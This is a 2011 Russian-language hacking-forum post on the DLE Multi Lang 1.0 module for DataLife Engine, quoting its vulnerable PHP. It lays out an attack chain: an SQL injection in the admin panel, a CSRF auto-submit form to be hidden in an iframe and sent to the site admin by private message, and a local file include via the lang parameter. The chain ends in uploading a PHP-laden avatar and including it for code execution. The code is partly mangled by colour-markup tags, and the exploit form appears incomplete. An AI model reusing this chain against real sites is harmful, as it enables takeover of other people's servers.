
26.12.2011, 11:04
|
|
Участник форума
Регистрация: 01.12.2011
Сообщений: 120
Провел на форуме: 29020
Репутация:
55
|
|
Уязвимость в модуле DLE Multi Lang 1.0
Есть SQL inj в админке, engine\inc\multilang.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]} elseif([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"addi"[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'alt_name'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'skin'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO dle_multilang(name, alt_name, skin) VALUES ('[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Но сама по себе она почти бесполезна, я нашел для нее более интересное применение Поскольку в админке модуля защита от CSRF не предусмотрена, то пользуемся таким сплойтом, его можно например засунуть в инфрейм своего сайта и скинуть в пм админу.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]forms[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"form"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]submit[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]
[/COLOR]
[/COLOR]
Теперь смотрим дальше, код с engine\modules\multilang.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM dle_multilang ORDER by id DESC"[/COLOR][COLOR="#007700"]);
while ([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'skin'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'alt_name'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$alt_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'langs'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'skin'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$skin[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lang'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"];
include_once[/COLOR][COLOR="#0000BB"]ROOT_DIR[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/language/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'langs'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'/website.lng'[/COLOR][COLOR="#007700"];
}
}
}
[/COLOR][/COLOR]
т.е. тут беруться те данные которые мы чуть раньше добавили в админку и инклудяться, например
Код:
http://site.ru/?lang=evil
так мы получим инкуд файла test.txt, для проведения атаки можно заререгать пользователя и залить аватар с нашим php кодом, после чего также проинклудить его
|
|
|